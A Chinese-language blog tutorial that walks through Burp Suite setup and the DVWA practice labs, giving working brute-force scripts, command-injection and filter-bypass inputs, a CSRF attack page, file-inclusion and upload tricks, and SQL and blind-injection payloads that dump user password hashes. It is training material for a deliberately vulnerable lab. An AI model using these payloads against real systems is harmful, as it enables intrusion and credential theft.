赞
踩
功能介绍
burpsuit是一个用来抓包、改包、爆破密码的工具。
环境
Burpsuite 版本:1.7
浏览器:火狐
1.firefox代理设置(burpsuite默认为127.0.0.1:8080,所以为了方便这里也用)
2.firefox的证书设置
url栏输入 http://burp,点击 CA Certificate 下载证书(放桌面就行)
导入证书
3.burpsuite的设置
然后就可以抓包了
注意抓包的时候浏览器打不开网页属于正常现象,如果需要继续浏览,点击“Intercept is on”或者“Forward”按钮即可。
在proxy模块抓到包后,点击Action按钮,选择 Send to Repeater
转到Repeater板块,点击go按钮,在Response区域内,可以看到服务器返回的信息
同上,Action按钮 --> Send to Intruder ,转到 Intruder 板块。来到 Positions 子版块,看到有许多绿色背景文本,点击右侧 Clear 按钮 清除变量,并选中你想要的内容点击 Add 按钮来添加变量。
然后来到 payload 子页面,进行以下设置:(payload set :字典ID)
最后点击 Start attack 按钮
介绍:其实就是一个供我们练习用的虚拟环境
首先安装XAMPP:https://www.apachefriends.org/zh_cn/index.html
安装完了以后在Apache及MySQL选择行中点击start便可创建虚拟环境:
但是我发现我的Apache是运行不起来的…别的也不多说了,直接上解决办法:
先点右上角Config按钮出现下图——
再点Service and Port Settings ,设置 端口号为8088/4431(原来是80/443)
点击Apache 后面的config按钮,依次修改两个配置文件
重启XAMPP,成功。
然后开始搞DVWA,先从官网下载.zip文件:http://www.dvwa.co.uk/
将文件解压至XAMPP目录下的htdocs文件夹中
打开子路径‘config’文件夹,将原来的文件改为config.ini.php(打开方式-记事本-另存为-所有文件)
回到XAMPP,点击“Apache”或“Mysql”的Admin按钮,打开网页。在后面追加以下内容,就可以打开DVWA的主页了:
一开始它提示我除了两个错误(第一个错误我没有解决,但是没有影响),可以参考这篇文章对文件进行修改:https://blog.csdn.net/wst0717/article/details/79623750
点击DVWA主页下面的 Create / Reset Database 按钮,就可以登陆了。默认的登录名和密码有很多,我在这里罗列出来:
输入账号密码后,成功登录系统:
注意,火狐的代理默认是localhost 、 127.0.0.1 不是用代理,需要把这里的内容删除:
打开brute force 板块 , 随便填写账号、密码,点击Login按钮:
在 burpsuit 里抓到的包是这样的:
点击Action 按钮 ,转到 intruder 板块,设置账号、密码 为 扫面对象:(这里Cluster bomb 是 扫描1字典*2字典 次数,也就是username 和 password 的扫描完全独立。)
点击 start attack 按钮 ,等待扫描完成。可以看到这一条的相应长度(length)比较特殊,我们记录下来,等下去 DVWA 验证。
成功通过!
首先先把 ‘Security Level’ 从 low 修改为 meddle。打开XAMPP的安装路径,打开 config.inc.php
把 default_security_level 修改为 meddle , 然后清空浏览器缓存,重新打开DVWA主页
修改成功。
其实 middle 也可以进行密码爆破,这里就 pass 了。
首先,用上面的方法把难度修改为 high
然后老样子,抓一个包,此时看到4个参数:
因为加入了token(令牌)校验,所以 burpsuit 就不能爆破了 , 推荐使用 python 编写脚本来实时的获取 token 的值,代码如下(来自网络):
from bs4 import BeautifulSoup import urllib2 header={ 'Host': '192.168.153.130', 'Cache-Control': 'max-age=0', 'If-None-Match': "307-52156c6a290c0", 'If-Modified-Since': 'Mon, 05 Oct 2015 07:51:07 GMT', 'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36', 'Accept': '*/*', 'Referer': 'http://192.168.153.130/dvwa/vulnerabilities/brute/index.php', 'Accept-Encoding': 'gzip, deflate, sdch', 'Accept-Language': 'zh-CN,zh;q=0.8', 'Cookie': 'security=high; PHPSESSID=5re92j36t4f2k1gvnqdf958bi2'} requrl = "http://192.168.153.130/dvwa/vulnerabilities/brute/" def get_token(requrl,header): req = urllib2.Request(url=requrl,headers=header) response = urllib2.urlopen(req) print response.getcode(), the_page = response.read() print len(the_page) soup = BeautifulSoup(the_page,"html.parser") user_token = soup.form.input.input.input.input["value"] #get the user_token return user_token user_token = get_token(requrl,header) i=0 for line in open("rkolin.txt"): requrl = "http://192.168.153.130/dvwa/vulnerabilities/brute/"+"? username=admin&password="+line.strip()+"&Login=Login&user_token="+user_token i = i+1 print i,'admin',line.strip(), user_token = get_token(requrl,header) if (i == 10): break
剩下的 impossible 等级就不说了,不适合新手入门。
打开 Command Injection 板块 , 输入 127.0.0.1 出现以下结果:
输入 net user 出现以下结果:
输入 127.0.0.1&&net user 出现以下结果:(暴露了本机用户名等敏感信息)
medium 等级加入了对”&&”与” ;” 的过滤(变成空字符),但是好在“&”没有过滤,所以我们使用以下语句:127.0.0.1&;&ipconfig (过滤后为:127.0.0.1&&ipconfig )
输入 127.0.0.1
输入 ipconfig
输入 127.0.0.1&&ipconfig
输入 127.0.0.1&;&ipconfig
过滤了& ; |空格 - $ ( ) ` ||
因为| 后有一个空格,所以可以使用 127.0.0.1|net user (其中|的意思是把127.0.0.1输出作为net user的输入)
impossible 日常略过——
首先打开 CSRF 板块 , 此时 URL 是这样的:
然后 , 我们修改新密码为 password (本来密码就是 password 嘛…),观察 新URL:
http://localhost:8088/DVWA-master/vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change#
我们把URL记录下来,将URL的 password_new 、 password_conf 的值改为 hack , 按下回车。再次登录的时候发现已经登录不上去了。
之后我们清理下浏览器的缓存,再次使用 admin+password 登录:
那么还有一个问题,我们怎么知道哪两个字段的 name 就是 password_new 、 password_conf 呢?我们打开 burpsuit 抓一个包看看:
现在明白怎么回事了吧。
medium 级别在URL上修改 password_new 、 password_conf 会显示失败:
但是可以用 burpsuit 达到目的,首先抓包:
把 password_new 、 password_conf 改成 hack 然后点击 Forward 按钮 重新发包:
修改成功:
最后清空浏览器缓存,使用 admin+hack 登录:
成功!
要绕过High级别的反CSRF机制,关键是要获取token,要利用受害者的cookie去修改密码的页面获取关键的token。试着去构造一个攻击页面,将其放置在攻击者的服务器,引诱受害者访问,从而完成CSRF攻击,下面是代码。
参考代码:
<script type="text/javascript"> function attack() { document.getElementsByName('user_token')[0].value=document.getElementById("hack").contentWindow.document.getElementsByName('user_token')[0].value; document.getElementById("transfer").submit(); } </script> <iframe src="http://192.168.153.130/dvwa/vulnerabilities/csrf" id="hack" border="0" style="display:none;"> </iframe> <body onload="attack()"> <form method="GET" id="transfer" action="http://192.168.153.130/dvwa/vulnerabilities/csrf"> <input type="hidden" name="password_new" value="password"> <input type="hidden" name="password_conf" value="password"> <input type="hidden" name="user_token" value=""> <input type="hidden" name="Change" value="Change"> </form> </body>
参考网址:https://www.freebuf.com/articles/web/118352.html
进入 file inclusion 板块 , 看到三个文件链接:
分别点开后,是这样的:
我们不用去管文件里的内容,看URL:
我们修改下文件名,按下回车。发现它暴露了服务器的绝对路径。这样我们就可以用猜测的方法去读取我们原来无法读取的文件了。
另外我们还可以向服务器上传我们自己的文件,比如我在 “我文件所在服务器” 的根目录,创建一个text.txt , 内容是 hello
在URL输入以下路径后 回车 ,上传成功!
Medium级别的代码增加了str_replace函数,对page参数进行了一定的处理,将”http:// ”、”https://”、 ” …/”、”…\”替换为空字符,即删除。
所以之前 远程文件上传就会失败:
所以在这里我们只能使用绝对路径 , 来上传本地文件:
High级别的代码使用了fnmatch函数检查page参数,要求page参数的开头必须是file,服务器才会去包含相应的文件。所以就不能直接使用本地文件路径了:
所以我们可以这样写:
因为 low 等级没有限制文件上传类型 , 所以可以直接上传 .php文件 , 然后配合 中国菜刀。
medium 限制了文件上传的类型,只能为 png、jpg 所以,我们就要把 test.php 重命名为 test.png (隐藏.php扩展名) 这里过程就不演示了。
high 等级会读取文件头,返回图片的长、宽等信息,如果没有相关的图片文件头,函数会报错。
打开 cmd ,输入以下命令
上传成功!
首先注意,这里发送验证码是需要翻墙的(我虽然有梯子,但是因为火狐浏览器开了127.0.0.1的代理,所以也没办法收到验证码,所以我们就直接抓包)
输入新密码 , 点击 Change 按钮 , 抓包:
然后我们要把 step 参数改成 2 :
修改成功!
medium 等级就不能使用 low 的改包方法了:
重新抓包 , 在包尾加上这样一段话:(但是需要知道这个页面的源码,否则你不知道变量的名字)
原理还是一样,就是多了几个参数。(还是需要看源码)
输入1,查询结果如图:
输入2:
输入3:
输入4:
输入5:
输入6就不会显示了,也就是说一共表里只有5条数据。
输入:1’or’1’='1 , 显示以下结果:
原理:select * form 表名 where id = 1 or 1 = 1 , 因为1=1恒成立,所以就会打印所有的数据。
另外我们也输入 : 1 ’ union select 1 , database() ’ 来获取数据库信息
也可以获取表名:
1 ' union select 1 , group_concat(table_name) from information_schema.tables where table_schema=database()#
union :拼接 sql 语句 (这里也就是实现两个 select 查询)
group_concat(XXX):把某个字段的值在同一行打印出来
information_schema:每个 mysql 都有这个库
table_schema:数据库名
table_name:数据表名
还可以获取表中的字段名:
1 ' union select 1 , group_concat(column_name) from information_schema.columns where table_name = 'users' #
column_name:列名
columns :列
打印数据:
' union select group_concat(user_id,first_name,last_name),group_concat(password) from users #
其中 md5 对应的明文密码为:
5f4dcc3b5aa765d61d8327deb882cf99:password
e99a18c428cb38d5f260853678922e03:abc123
8d3533d75ae2c3966d7e0d4fcc69216b:charley
0d107d09f5bbe40cade3de5c71e9e9b7:letmein
5f4dcc3b5aa765d61d8327deb882cf99:password
medium 级别无法在前端注入,但是可以用 burpsuit 抓包修改。并且过滤了一些特殊符号
改包截图:(答题类似,就不一一列举。重点就是去掉之前的 ’ 符号)
这里需要留意的是,medium 级别过滤了 ’ 符号。所以以下代码就会失效:
1 union select 1,group_concat(column_name) from information_schema.columns where table_name=’users’#
这里我们需要把 ’users’ 转换成 16 进制 。(这种工具网上多得是),用0x27757365727327 代替 ‘users’
ID: 1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 #
这样就成功了。
high 等级的就不说了,原理基本都一样。
盲注,就是攻击者没法再前端看到返回的结果,只能知道注入的对错。
首先输入:1’ and 1 = 1 # , 存在
再输入:1’ and 1 = 2 # , 不存在
那么就说明存在盲注漏洞。继续猜 “数据库名” 长度。
输入:1’ and length(database())=1 # 不存在
输入:1’ and length(database())=2 # 不存在
输入:1’ and length(database())=3 # 不存在
输入:1’ and length(database())=4 # 存在
知道了数据库名长度 = 4 , 接下来猜 “数据库名”(二分法猜,推荐写脚本。这里给个思路)
代码来自网络:
输入1’ and ascii(substr(databse(),1,1))>97 #,显示存在,说明数据库名的第一个字符的ascii值大于97(小写字母a的ascii值);
输入1’ and ascii(substr(databse(),1,1))<122 #,显示存在,说明数据库名的第一个字符的ascii值小于122(小写字母z的ascii值);
输入1’ and ascii(substr(databse(),1,1))<109 #,显示存在,说明数据库名的第一个字符的ascii值小于109(小写字母m的ascii值);
输入1’ and ascii(substr(databse(),1,1))<103 #,显示存在,说明数据库名的第一个字符的ascii值小于103(小写字母g的ascii值);
输入1’ and ascii(substr(databse(),1,1))<100 #,显示不存在,说明数据库名的第一个字符的ascii值不小于100(小写字母d的ascii值);
输入1’ and ascii(substr(databse(),1,1))>100 #,显示不存在,说明数据库名的第一个字符的ascii值不大于100(小写字母d的ascii值),所以数据库名的第一个字符的ascii值为100,即小写字母d。
… 重复
类似的还有
·猜表数量:
1’ and (select count (table_name) from information_schema.tables where table_schema=database())=1 # 显示不存在
1’ and (select count (table_name) from information_schema.tables where table_schema=database() )=2 # 显示存在
猜表名(和猜数据库名一个道理) 这里不说了就。 剩下的猜字段的也不说了。
另外就是一下情况说明存在 “时间盲注”:
输入1’ and sleep(5) #,感觉到明显延迟;
输入1 and sleep(5) #,没有延迟;
最后,盲注终于搞完了(medium high 都略过,因为就是加了字符串过滤,可以参考上面的 SQL Injection 的方法)
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。